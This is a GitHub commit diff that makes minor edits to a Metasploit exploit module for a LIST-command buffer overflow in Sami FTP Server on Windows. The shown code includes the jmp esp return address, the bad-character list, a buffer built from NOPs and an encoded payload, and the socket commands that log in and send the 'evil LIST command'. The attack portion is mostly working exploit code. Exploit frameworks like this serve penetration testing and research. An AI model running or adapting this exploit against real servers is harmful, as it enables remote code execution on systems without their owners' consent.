Skip to content

Commit 1f7b2a8

Browse files
committed
minor edits
1 parent fa5c988 commit 1f7b2a8

File tree

1 file changed

+3
-10
lines changed

1 file changed

+3
-10
lines changed

modules/exploits/windows/ftp/sami_ftpd_list.rb

Lines changed: 3 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ def initialize(info = {})
2626
[
2727
[ 'OSVDB', '90815'],
2828
[ 'EDB', '24557'],
29+
[ 'URL', 'http://www.exploit-db.com/exploits/24557/'],
2930
],
3031
'DefaultOptions' =>
3132
{
@@ -37,11 +38,10 @@ def initialize(info = {})
3738
{
3839
'Space' => 950,
3940
'BadChars' => "\x00\x0a\x0d\x20\xff",
40-
#'StackAdjustment' => -3500,
4141
},
4242
'Targets' =>
4343
[
44-
[ 'Universal', { 'Ret' => 0x10028283 } ], # jmp esp
44+
[ 'Automatic Targeting', { 'Ret' => 0x10028283, 'auto' => true } ], # jmp esp
4545
],
4646
'DisclosureDate' => 'Feb 27 2013'))
4747

@@ -61,14 +61,7 @@ def exploit
6161
buf << make_nops(50) + payload.encoded
6262
sock.put("USER #{datastore['FTPUSER']}\r\n")
6363
sock.put("PASS #{datastore['FTPPASS']}\r\n")
64-
res = sock.get(-1,3)
65-
if(res.match(/230 Access allowed\./))
66-
print_good("Login successful")
67-
else
68-
print_status("Bad username/password")
69-
end
70-
sleep 1
71-
64+
sleep 0.5
7265
print_status("Sending evil LIST command")
7366
sock.put("LIST #{buf}\r\n")
7467

0 commit comments

Comments
 (0)